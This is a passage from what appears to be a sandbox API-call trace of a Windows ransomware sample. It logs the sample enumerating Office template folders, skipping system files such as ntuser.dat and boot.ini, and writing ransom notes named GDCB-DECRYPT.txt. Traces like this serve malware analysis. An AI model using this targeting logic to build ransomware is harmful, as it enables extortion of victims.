Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0135.690] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned 139 [0135.690] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0135.690] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned 152 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned 145 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned 136 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned 134 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned 146 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned 158 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned 144 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328990[[fn=Varying Width List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0135.691] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328990[[fn=Varying Width List]].glox") returned 144 [0135.691] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328998[[fn=Rings]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox" [0135.691] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0135.692] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328998[[fn=Rings]].glox") returned 131 [0135.693] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt" [0135.693] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0135.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0135.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0135.693] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\GDCB-DECRYPT.txt") returned 115 [0135.693] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.694] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="User" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\" [0135.694] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.694] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.694] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.694] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned 78 [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0135.694] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0x2c77c0 [0135.694] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.694] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.694] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.694] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.694] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.694] lstrcmpW (lpString1="Document Themes", lpString2=".") returned 1 [0135.694] lstrcmpW (lpString1="Document Themes", lpString2="..") returned 1 [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0135.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned 93 [0135.694] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.694] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.694] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt" [0135.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\GDCB-DECRYPT.txt") returned 94 [0135.694] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.694] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 1 [0135.694] lstrcmpW (lpString1="SmartArt Graphics", lpString2=".") returned 1 [0135.694] lstrcmpW (lpString1="SmartArt Graphics", lpString2="..") returned 1 [0135.694] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="SmartArt Graphics" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics" [0135.694] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\SmartArt Graphics") returned 95 [0135.694] FindNextFileW (in: hFindFile=0x2c77c0, lpFindFileData=0x285e388 | out: lpFindFileData=0x285e388) returned 0 [0135.695] FindClose (in: hFindFile=0x2c77c0 | out: hFindFile=0x2c77c0) returned 1 [0135.695] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\GDCB-DECRYPT.txt") returned 95 [0135.695] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.695] GetLastError () returned 0x50 [0135.695] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\") returned 78 [0135.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0135.695] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0x2c7900 [0135.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\", lpString2="Document Themes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0135.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\" [0135.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.695] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.695] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned 94 [0135.695] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0135.695] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x2c76c0 [0135.695] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.695] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.696] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.696] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.696] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.696] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0135.696] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0135.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0135.696] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned 98 [0135.696] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0135.696] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.696] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt" [0135.696] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\GDCB-DECRYPT.txt") returned 110 [0135.696] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.696] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0135.696] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.696] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\GDCB-DECRYPT.txt") returned 111 [0135.696] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\user\\document themes\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.696] GetLastError () returned 0x50 [0135.696] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\") returned 94 [0135.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0135.696] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x2c77c0 [0135.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\", lpString2="1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0135.696] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\" [0135.696] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.697] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.697] 